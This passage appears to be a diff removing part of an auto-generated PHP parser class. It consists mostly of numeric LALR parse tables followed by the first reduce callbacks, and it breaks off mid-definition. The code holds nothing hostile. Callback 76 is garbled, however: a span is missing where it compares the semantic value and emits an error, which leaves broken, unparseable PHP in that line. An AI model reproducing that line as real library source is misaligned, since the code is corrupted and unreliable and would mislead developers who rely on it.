468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 468, 468, 468, 468, 468, - 468, 468, 468, 468, 468, 297, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 297, - 297, 297, 297, 297, 297, 297, 297, 297, 297, 716, - 716, 297, 297, 297, 297, 716, 716, 716, 716, 716, - 716, 716, 716, 716, 716, 297, 297, 0, 297, 297, - 297, 297, 297, 297, 297, 297, 855, 716, 716, 716, - 716, 452, 452, 452, 452, -95, -95, 716, 716, 716, - 394, 716, 716, 452, 452, 716, 716, 716, 716, 716, - 716, 716, 716, 716, 716, 716, 0, 0, 0, 145, - -70, 716, 827, 827, 827, 827, 716, 716, 716, 716, - -70, -70, 716, 716, 716, 0, 0, 0, 0, 0, - 0, 0, 0, 145, 0, 0, 145, 0, 0, 827, - 638, 827, 638, 716, 394, 855, 659, 716, 0, 0, - 0, 0, 145, 827, 145, 632, -70, -70, 632, 632, - 5, 37, 659, 613, 613, 613, 613, 0, 0, 633, - 855, 855, 855, 855, 855, 855, 855, 855, 855, 855, - 855, 827, 0, 855, 0, 827, 827, 827, 0, 0, - 0, 0, 0, 0, 0, 0, 933, 0, 0, 0, - 0, 0, 0, 0, 827, 0, 933, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 827, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 823, 834, 0, 0, 834, - 0, 823, 823, 823, 0, 0, 0, 848, 826 - ); - - protected array $actionDefault = array( - 3,32767, 102,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767, 100,32767, 618, 618, - 618, 618,32767,32767, 255, 102,32767,32767, 487, 404, - 404, 404,32767,32767, 560, 560, 560, 560, 560,32767, - 32767,32767,32767,32767,32767, 487,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767, 36, 7, - 8, 10, 11, 49, 17, 328, 100,32767,32767,32767, - 32767,32767,32767,32767,32767, 102,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767, 611,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767, 392, 491, 470, - 471, 473, 474, 403, 561, 617, 331, 614, 333, 402, - 145, 343, 334, 243, 259, 492, 260, 493, 496, 497, - 216, 389, 149, 150, 434, 488, 436, 486, 490, 435, - 409, 415, 416, 417, 418, 419, 420, 421, 422, 423, - 424, 425, 426, 427, 407, 408, 489,32767,32767, 467, - 466, 465, 432,32767,32767,32767,32767,32767,32767,32767, - 32767, 102,32767, 433, 437, 406, 440, 438, 439, 456, - 457, 454, 455, 458,32767,32767, 320,32767,32767, 459, - 460, 461, 462, 370, 368,32767,32767, 320, 111,32767, - 32767, 447, 448,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767, 504, 554, 464,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 102,32767, 100, 556, 429, 431, 524, 442, 443, 441, - 410,32767, 529,32767, 102,32767, 531,32767,32767,32767, - 32767,32767,32767,32767,32767,32767, 555,32767, 562, 562, - 32767, 517, 100, 195,32767, 530, 195, 195,32767,32767, - 32767,32767,32767,32767,32767,32767, 625, 517, 110, 110, - 110, 110, 110, 110, 110, 110, 110, 110, 110,32767, - 195, 110,32767,32767,32767, 100, 195, 195, 195, 195, - 195, 195, 195, 195, 532, 195, 195, 190,32767, 269, - 271, 102, 579, 195, 534,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767, 517, 452, 138,32767, 519, 138, 562, 444, - 445, 446, 562, 562, 562, 316, 293,32767,32767,32767, - 32767, 532, 532, 100, 100, 100, 100,32767,32767,32767, - 32767, 111, 503, 99, 99, 99, 99, 99, 103, 101, - 32767,32767,32767,32767, 224,32767, 101, 99,32767, 101, - 101,32767,32767, 224, 226, 213, 228,32767, 583, 584, - 224, 101, 228, 228, 228, 248, 248, 506, 322, 101, - 99, 101, 101, 197, 322, 322,32767, 101, 506, 322, - 506, 322, 199, 322, 322, 322, 506, 322,32767, 101, - 322, 215, 392, 99, 99, 322,32767,32767,32767, 519, - 32767,32767,32767,32767,32767,32767,32767, 223,32767,32767, - 32767,32767,32767,32767,32767,32767, 549,32767, 567, 581, - 450, 451, 453, 566, 564, 475, 476, 477, 478, 479, - 480, 481, 483, 613,32767, 523,32767,32767,32767, 342, - 32767, 623,32767,32767,32767, 9, 74, 512, 42, 43, - 51, 57, 538, 539, 540, 541, 535, 536, 542, 537, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767, 624,32767, 562,32767,32767, - 32767,32767, 449, 544, 589,32767,32767, 563, 616,32767, - 32767,32767,32767,32767,32767,32767, 138,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767, 549,32767, 136, - 32767,32767,32767,32767,32767,32767,32767,32767, 545,32767, - 32767,32767, 562,32767,32767,32767,32767, 318, 315,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767, 562,32767,32767,32767,32767, - 32767, 295,32767, 312,32767,32767,32767,32767,32767,32767, - 32767,32767,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767, 388, 519, 298, 300, 301,32767,32767,32767, - 32767, 364,32767,32767,32767,32767,32767,32767,32767,32767, - 32767,32767,32767, 152, 152, 3, 3, 345, 152, 152, - 152, 345, 345, 152, 345, 345, 345, 152, 152, 152, - 152, 152, 152, 281, 185, 263, 266, 248, 248, 152, - 356, 152 - ); - - protected array $goto = array( - 196, 196, 1041, 352, 700, 465, 587, 470, 470, 1072, - 736, 641, 643, 1205, 855, 663, 470, 856, 709, 687, - 690, 1014, 698, 707, 1010, 625, 662, 166, 166, 166, - 166, 220, 197, 193, 193, 176, 178, 215, 193, 193, - 193, 193, 193, 194, 194, 194, 194, 194, 188, 189, - 190, 191, 192, 217, 215, 218, 540, 541, 423, 542, - 545, 546, 547, 548, 549, 550, 551, 552, 1156, 167, - 168, 169, 195, 170, 171, 172, 165, 173, 174, 175, - 177, 214, 216, 219, 239, 242, 253, 254, 256, 257, - 258, 259, 260, 261, 262, 263, 269, 270, 271, 272, - 281, 282, 317, 318, 319, 429, 430, 431, 602, 221, - 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, - 232, 233, 234, 235, 179, 236, 180, 188, 189, 190, - 191, 192, 217, 1156, 198, 199, 200, 201, 240, 181, - 182, 202, 183, 203, 199, 184, 241, 198, 164, 204, - 205, 185, 206, 207, 208, 186, 209, 210, 187, 211, - 212, 213, 278, 278, 278, 278, 858, 433, 665, 979, - 916, 604, 917, 428, 320, 314, 315, 338, 597, 432, - 339, 434, 642, 627, 627, 896, 854, 896, 896, 1291, - 1291, 1291, 1291, 1291, 1291, 1291, 1291, 1291, 1291, 614, - 628, 631, 632, 633, 634, 655, 656, 657, 711, 830, - 871, 460, 912, 907, 908, 921, 864, 909, 861, 910, - 911, 862, 356, 915, 868, 421, 883, 482, 867, 870, - 1361, 1361, 356, 356, 484, 1094, 1089, 1090, 1091, 889, - 603, 1107, 397, 400, 605, 609, 356, 356, 1361, 594, - 356, 712, 344, 1378, 353, 354, 511, 703, 442, 1105, - 1260, 1041, 1260, 1260, 350, 559, 1364, 1364, 356, 356, - 1041, 1260, 1041, 1351, 1041, 1041, 345, 344, 1041, 1041, - 1041, 1041, 1041, 1041, 1041, 1041, 1041, 1041, 1041, 1000, - 1236, 948, 249, 249, 1260, 1237, 1240, 949, 1241, 1260, - 1260, 1260, 1260, 1114, 1115, 1260, 1260, 1260, 1343, 1343, - 1343, 1343, 564, 557, 851, 427, 1322, 616, 395, 247, - 247, 247, 247, 244, 250, 592, 929, 503, 664, 504, - 930, 355, 355, 355, 355, 510, 945, 512, 945, 479, - 1336, 1337, 328, 557, 564, 589, 590, 330, 600, 606, - 1153, 621, 622, 555, 1065, 555, 555, 658, 659, 25, - 676, 677, 678, 440, 555, 1310, 1310, 686, 559, 851, - 670, 1310, 1310, 1310, 1310, 1310, 1310, 1310, 1310, 1310, - 1310, 1044, 1044, 1047, 1046, 685, 956, 458, 340, 1036, - 1052, 1053, 973, 973, 973, 973, 1050, 1051, 458, 967, - 974, 1307, 1307, 971, 412, 708, 848, 1307, 1307, 1307, - 1307, 1307, 1307, 1307, 1307, 1307, 1307, 5, 610, 6, - 873, 934, 1143, 451, 451, 876, 451, 451, 1333, 962, - 1333, 1333, 1253, 1019, 404, 553, 553, 553, 553, 1333, - 608, 875, 620, 668, 998, 1251, 558, 584, 1022, 869, - 739, 558, 885, 584, 480, 398, 464, 1078, 697, 326, - 309, 1250, 832, 1345, 1345, 1345, 1345, 1082, 473, 601, - 474, 475, 1338, 1339, 697, 1128, 881, 697, 984, 1369, - 1370, 598, 619, 1032, 0, 544, 544, 851, 836, 0, - 1329, 544, 544, 544, 544, 544, 544, 544, 544, 544, - 544, 543, 543, 1255, 879, 0, 0, 543, 0, 543, - 543, 543, 543, 543, 543, 543, 543, 451, 451, 451, - 451, 451, 451, 451, 451, 451, 451, 451, 252, 252, - 451, 836, 1080, 836, 409, 410, 1331, 1331, 1080, 674, - 0, 675, 0, 414, 415, 416, 0, 688, 0, 0, - 417, 635, 637, 639, 0, 348, 0, 0, 1256, 1257, - 0, 1243, 884, 872, 1077, 1081, 0, 846, 1003, 0, - 0, 975, 0, 735, 1243, 982, 556, 1012, 1007, 0, - 435, 0, 0, 0, 0, 0, 1258, 1319, 1320, 0, - 0, 435, 273, 325, 0, 325, 325, 0, 972, 1048, - 1048, 0, 0, 0, 669, 1059, 1055, 1056, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 1126, 888, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 1017, 1017 - ); - - protected array $gotoCheck = array( - 42, 42, 73, 97, 73, 156, 48, 154, 154, 128, - 48, 48, 48, 156, 26, 48, 154, 27, 9, 48, - 48, 48, 48, 48, 48, 56, 56, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 23, 23, 23, 23, 15, 66, 66, 49, - 65, 131, 65, 66, 66, 66, 66, 66, 66, 66, - 66, 66, 66, 108, 108, 25, 25, 25, 25, 108, - 108, 108, 108, 108, 108, 108, 108, 108, 108, 81, - 81, 81, 81, 81, 81, 81, 81, 81, 81, 6, - 35, 83, 15, 15, 15, 15, 15, 15, 15, 15, - 15, 15, 14, 15, 15, 43, 35, 84, 15, 35, - 188, 188, 14, 14, 84, 15, 15, 15, 15, 45, - 8, 8, 59, 59, 59, 59, 14, 14, 188, 178, - 14, 8, 174, 14, 97, 97, 8, 8, 83, 8, - 73, 73, 73, 73, 185, 14, 188, 188, 14, 14, - 73, 73, 73, 187, 73, 73, 174, 174, 73, 73, - 73, 73, 73, 73, 73, 73, 73, 73, 73, 103, - 79, 79, 5, 5, 73, 79, 79, 79, 79, 73, - 73, 73, 73, 145, 145, 73, 73, 73, 9, 9, - 9, 9, 76, 76, 22, 13, 14, 13, 62, 5, - 5, 5, 5, 5, 5, 104, 73, 160, 64, 160, - 73, 24, 24, 24, 24, 160, 9, 14, 9, 182, - 182, 182, 76, 76, 76, 76, 76, 76, 76, 76, - 155, 76, 76, 19, 115, 19, 19, 86, 86, 76, - 86, 86, 86, 113, 19, 176, 176, 117, 14, 22, - 121, 176, 176, 176, 176, 176, 176, 176, 176, 176, - 176, 89, 89, 119, 119, 89, 89, 19, 29, 89, - 89, 89, 19, 19, 19, 19, 120, 120, 19, 19, - 19, 177, 177, 93, 93, 93, 18, 177, 177, 177, - 177, 177, 177, 177, 177, 177, 177, 46, 17, 46, - 37, 17, 17, 23, 23, 39, 23, 23, 131, 92, - 131, 131, 14, 17, 28, 107, 107, 107, 107, 131, - 107, 17, 80, 17, 17, 166, 9, 9, 110, 17, - 99, 9, 41, 9, 157, 9, 9, 130, 7, 175, - 175, 17, 7, 131, 131, 131, 131, 133, 9, 9, - 9, 9, 184, 184, 7, 148, 9, 7, 96, 9, - 9, 2, 2, 114, -1, 179, 179, 22, 12, -1, - 131, 179, 179, 179, 179, 179, 179, 179, 179, 179, - 179, 162, 162, 20, 9, -1, -1, 162, -1, 162, - 162, 162, 162, 162, 162, 162, 162, 23, 23, 23, - 23, 23, 23, 23, 23, 23, 23, 23, 5, 5, - 23, 12, 131, 12, 82, 82, 131, 131, 131, 82, - -1, 82, -1, 82, 82, 82, -1, 82, -1, -1, - 82, 85, 85, 85, -1, 82, -1, -1, 20, 20, - -1, 20, 16, 16, 16, 16, -1, 20, 50, -1, - -1, 50, -1, 50, 20, 16, 50, 50, 50, -1, - 118, -1, -1, -1, -1, -1, 20, 20, 20, -1, - -1, 118, 24, 24, -1, 24, 24, -1, 16, 118, - 118, -1, -1, -1, 118, 118, 118, 118, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, 16, 16, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, - -1, -1, -1, -1, 107, 107 - ); - - protected array $gotoBase = array( - 0, 0, -234, 0, 0, 291, 199, 451, 232, 8, - 0, 0, 191, -25, -76, -183, 108, -48, 96, 88, - 109, 0, 36, 159, 328, 182, 10, 13, 94, 91, - 0, 0, 0, 0, 0, -162, 0, 78, 0, 101, - 0, 9, -1, 202, 0, 213, -322, 0, -708, 151, - 556, 0, 0, 0, 0, 0, -15, 0, 0, 197, - 0, 0, 276, 0, 90, 156, -70, 0, 0, 0, - 0, 0, 0, -5, 0, 0, -34, 0, 0, -119, - 112, -160, 40, -67, -246, 69, -364, 0, 0, 102, - 0, 0, 97, 98, 0, 0, 33, -483, 0, 42, - 0, 0, 0, 254, 282, 0, 0, 407, -54, 0, - 77, 0, 0, 86, -29, 79, 0, 84, 314, 104, - 111, 80, 0, 0, 0, 0, 0, 0, 7, 0, - 82, 163, 0, 23, 0, 0, 0, 0, 0, 0, - 0, 0, 0, 0, 0, 30, 0, 0, 29, 0, - 0, 0, 0, 0, -27, 106, -263, 12, 0, 0, - -171, 0, 264, 0, 0, 0, 75, 0, 0, 0, - 0, 0, 0, 0, -46, 137, 128, 164, 220, 248, - 0, 0, 38, 0, 99, 234, 0, 242, -78, 0, - 0 - ); - - protected array $gotoDefault = array( - -32768, 516, 743, 4, 744, 938, 819, 828, 580, 534, - 710, 349, 629, 424, 1327, 914, 1142, 599, 847, 1269, - 1275, 459, 850, 333, 733, 926, 897, 898, 401, 388, - 863, 399, 653, 630, 497, 882, 455, 874, 489, 877, - 454, 886, 163, 420, 514, 890, 3, 893, 562, 924, - 977, 389, 901, 390, 681, 903, 583, 905, 906, 396, - 402, 403, 1147, 591, 626, 918, 255, 585, 919, 387, - 920, 928, 392, 394, 691, 469, 508, 502, 413, 1109, - 586, 613, 650, 448, 476, 624, 636, 623, 483, 436, - 418, 332, 961, 969, 490, 467, 983, 351, 991, 741, - 1155, 644, 492, 999, 645, 1006, 1009, 535, 536, 481, - 1021, 266, 1024, 493, 1033, 23, 671, 1038, 1039, 672, - 646, 1061, 647, 673, 648, 1063, 466, 581, 1071, 456, - 1079, 1315, 457, 1083, 264, 1086, 277, 419, 437, 1092, - 1093, 9, 1099, 701, 702, 19, 274, 513, 1127, 692, - -32768,-32768,-32768,-32768, 453, 1154, 452, 1224, 1226, 563, - 494, 1244, 294, 1247, 684, 509, 1252, 449, 1318, 450, - 537, 477, 316, 538, 1362, 308, 336, 313, 554, 295, - 337, 539, 478, 1324, 1332, 334, 31, 1352, 1363, 596, - 618 - ); - - protected array $ruleToNonTerminal = array( - 0, 1, 3, 3, 2, 5, 5, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, - 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, - 7, 7, 7, 7, 7, 8, 8, 9, 10, 11, - 11, 11, 12, 12, 13, 13, 14, 15, 15, 16, - 16, 17, 17, 18, 18, 21, 21, 22, 23, 23, - 24, 24, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 4, 29, 29, 30, 30, 32, 34, 34, - 28, 36, 36, 33, 38, 38, 35, 35, 37, 37, - 39, 39, 31, 40, 40, 41, 43, 44, 44, 45, - 45, 46, 46, 48, 47, 47, 47, 47, 49, 49, - 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, - 49, 49, 49, 49, 49, 49, 49, 49, 49, 49, - 49, 49, 25, 25, 50, 69, 69, 72, 72, 71, - 70, 70, 63, 75, 75, 76, 76, 77, 77, 78, - 78, 79, 79, 80, 80, 80, 26, 26, 27, 27, - 27, 27, 27, 88, 88, 90, 90, 83, 83, 91, - 91, 92, 92, 92, 84, 84, 87, 87, 85, 85, - 93, 94, 94, 57, 57, 65, 65, 68, 68, 68, - 67, 95, 95, 96, 58, 58, 58, 58, 97, 97, - 98, 98, 99, 99, 100, 101, 101, 102, 102, 103, - 103, 55, 55, 51, 51, 105, 53, 53, 106, 52, - 52, 54, 54, 64, 64, 64, 64, 81, 81, 109, - 109, 111, 111, 112, 112, 112, 112, 112, 112, 112, - 110, 110, 110, 115, 115, 115, 115, 89, 89, 118, - 118, 118, 119, 119, 116, 116, 120, 120, 122, 122, - 123, 123, 117, 124, 124, 121, 125, 125, 125, 125, - 113, 113, 82, 82, 82, 20, 20, 20, 127, 126, - 126, 128, 128, 128, 128, 60, 129, 129, 130, 61, - 132, 132, 133, 133, 134, 134, 86, 135, 135, 135, - 135, 135, 135, 135, 140, 140, 141, 141, 142, 142, - 142, 142, 142, 143, 144, 144, 139, 139, 136, 136, - 138, 138, 146, 146, 145, 145, 145, 145, 145, 145, - 145, 145, 145, 145, 137, 147, 147, 149, 148, 148, - 150, 150, 114, 151, 151, 153, 153, 153, 152, 152, - 62, 104, 154, 154, 56, 56, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 42, 42, 42, 42, 42, 42, 42, 42, 42, 42, - 161, 162, 162, 163, 155, 155, 160, 160, 164, 165, - 165, 166, 167, 168, 168, 168, 168, 19, 19, 73, - 73, 73, 73, 156, 156, 156, 156, 170, 170, 159, - 159, 159, 157, 157, 176, 176, 176, 176, 176, 176, - 176, 176, 176, 176, 177, 177, 177, 108, 179, 179, - 179, 179, 158, 158, 158, 158, 158, 158, 158, 158, - 59, 59, 173, 173, 173, 173, 173, 180, 180, 169, - 169, 169, 169, 181, 181, 181, 181, 181, 181, 74, - 74, 66, 66, 66, 66, 131, 131, 131, 131, 184, - 183, 172, 172, 172, 172, 172, 172, 172, 171, 171, - 171, 182, 182, 182, 182, 107, 178, 186, 186, 185, - 185, 187, 187, 187, 187, 187, 187, 187, 187, 175, - 175, 175, 175, 174, 189, 188, 188, 188, 188, 188, - 188, 188, 188, 190, 190, 190, 190 - ); - - protected array $ruleToLength = array( - 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, - 1, 0, 1, 1, 2, 1, 3, 4, 1, 2, - 0, 1, 1, 1, 1, 4, 3, 5, 4, 3, - 4, 1, 3, 1, 1, 8, 7, 2, 3, 1, - 2, 3, 1, 2, 3, 1, 1, 3, 1, 3, - 1, 2, 2, 3, 1, 3, 2, 3, 1, 3, - 3, 2, 0, 1, 1, 1, 1, 1, 3, 7, - 10, 5, 7, 9, 5, 3, 3, 3, 3, 3, - 3, 1, 2, 5, 7, 9, 6, 5, 6, 3, - 2, 1, 1, 1, 1, 0, 2, 1, 3, 8, - 0, 4, 2, 1, 3, 0, 1, 0, 1, 0, - 1, 3, 1, 1, 1, 1, 8, 9, 7, 8, - 7, 6, 8, 0, 2, 0, 2, 1, 2, 1, - 2, 1, 1, 1, 0, 2, 0, 2, 0, 2, - 2, 1, 3, 1, 4, 1, 4, 1, 1, 4, - 2, 1, 3, 3, 3, 4, 4, 5, 0, 2, - 4, 3, 1, 1, 7, 0, 2, 1, 3, 3, - 4, 1, 4, 0, 2, 5, 0, 2, 6, 0, - 2, 0, 3, 1, 2, 1, 1, 2, 0, 1, - 3, 0, 2, 1, 1, 1, 1, 1, 1, 1, - 7, 9, 6, 1, 2, 1, 1, 1, 1, 1, - 1, 1, 1, 3, 3, 3, 1, 3, 3, 3, - 3, 3, 1, 3, 3, 1, 1, 2, 1, 1, - 0, 1, 0, 2, 2, 2, 4, 3, 1, 1, - 3, 1, 2, 2, 3, 2, 3, 1, 1, 2, - 3, 1, 1, 3, 2, 0, 1, 5, 5, 6, - 10, 3, 5, 1, 1, 3, 0, 2, 4, 5, - 4, 4, 4, 3, 1, 1, 1, 1, 1, 1, - 0, 1, 1, 2, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 2, 1, 3, 1, 1, 3, - 0, 2, 0, 5, 8, 1, 3, 3, 0, 2, - 2, 2, 3, 1, 0, 1, 1, 3, 3, 3, - 4, 4, 1, 1, 2, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, 2, 2, - 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, - 3, 3, 3, 3, 3, 5, 4, 3, 4, 4, - 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, - 2, 2, 2, 2, 1, 3, 2, 1, 2, 4, - 2, 2, 8, 9, 8, 9, 9, 10, 9, 10, - 8, 3, 2, 2, 1, 1, 0, 4, 2, 1, - 3, 2, 1, 2, 2, 2, 4, 1, 1, 1, - 1, 1, 1, 1, 1, 3, 1, 1, 1, 0, - 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, - 1, 1, 1, 1, 3, 5, 3, 3, 4, 1, - 1, 3, 1, 1, 1, 1, 1, 3, 2, 3, - 0, 1, 1, 3, 1, 1, 1, 1, 1, 1, - 3, 1, 1, 1, 4, 4, 1, 4, 4, 0, - 1, 1, 1, 3, 3, 1, 4, 2, 2, 1, - 3, 1, 4, 4, 3, 3, 3, 3, 1, 3, - 1, 1, 3, 1, 1, 4, 1, 1, 1, 3, - 1, 1, 2, 1, 3, 4, 3, 2, 0, 2, - 2, 1, 2, 1, 1, 1, 4, 3, 3, 3, - 3, 6, 3, 1, 1, 2, 1 - ); - - protected function initReduceCallbacks(): void { - $this->reduceCallbacks = [ - 0 => null, - 1 => static function ($self, $stackPos) { - $self->semValue = $self->handleNamespaces($self->semStack[$stackPos-(1-1)]); - }, - 2 => static function ($self, $stackPos) { - if ($self->semStack[$stackPos-(2-2)] !== null) { $self->semStack[$stackPos-(2-1)][] = $self->semStack[$stackPos-(2-2)]; } $self->semValue = $self->semStack[$stackPos-(2-1)];; - }, - 3 => static function ($self, $stackPos) { - $self->semValue = array(); - }, - 4 => static function ($self, $stackPos) { - $nop = $self->maybeCreateZeroLengthNop($self->tokenPos);; - if ($nop !== null) { $self->semStack[$stackPos-(1-1)][] = $nop; } $self->semValue = $self->semStack[$stackPos-(1-1)]; - }, - 5 => null, - 6 => null, - 7 => null, - 8 => null, - 9 => null, - 10 => null, - 11 => null, - 12 => null, - 13 => null, - 14 => null, - 15 => null, - 16 => null, - 17 => null, - 18 => null, - 19 => null, - 20 => null, - 21 => null, - 22 => null, - 23 => null, - 24 => null, - 25 => null, - 26 => null, - 27 => null, - 28 => null, - 29 => null, - 30 => null, - 31 => null, - 32 => null, - 33 => null, - 34 => null, - 35 => null, - 36 => null, - 37 => null, - 38 => null, - 39 => null, - 40 => null, - 41 => null, - 42 => null, - 43 => null, - 44 => null, - 45 => null, - 46 => null, - 47 => null, - 48 => null, - 49 => null, - 50 => null, - 51 => null, - 52 => null, - 53 => null, - 54 => null, - 55 => null, - 56 => null, - 57 => null, - 58 => null, - 59 => null, - 60 => null, - 61 => null, - 62 => null, - 63 => null, - 64 => null, - 65 => null, - 66 => null, - 67 => null, - 68 => null, - 69 => null, - 70 => null, - 71 => null, - 72 => null, - 73 => null, - 74 => null, - 75 => null, - 76 => static function ($self, $stackPos) { - $self->semValue = $self->semStack[$stackPos-(1-1)]; if ($self->semValue === "emitError(new Error('Cannot use "getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos]))); - }, - 77 => null, - 78 => null, - 79 => null, - 80 => null, - 81 => null, - 82 => null, - 83 => null, - 84 => null, - 85 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 86 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 87 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 88 => static function ($self, $stackPos) { - $self->semValue = new Node\Identifier($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 89 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 90 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 91 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 92 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 93 => static function ($self, $stackPos) { - $self->semValue = new Name($self->semStack[$stackPos-(1-1)], $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 94 => null, - 95 => static function ($self, $stackPos) { - $self->semValue = new Name(substr($self->semStack[$stackPos-(1-1)], 1), $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 96 => static function ($self, $stackPos) { - $self->semValue = new Expr\Variable(substr($self->semStack[$stackPos-(1-1)], 1), $self->getAttributes($self->tokenStartStack[$stackPos-(1-1)], $self->tokenEndStack[$stackPos])); - }, - 97 => static function ($self, $stackPos) { - /* nothing */ - }, - 98 => static function 